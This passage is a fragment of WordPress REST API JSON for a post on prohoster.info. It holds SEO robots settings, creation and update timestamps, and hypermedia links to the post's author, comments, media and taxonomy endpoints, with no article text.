r_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}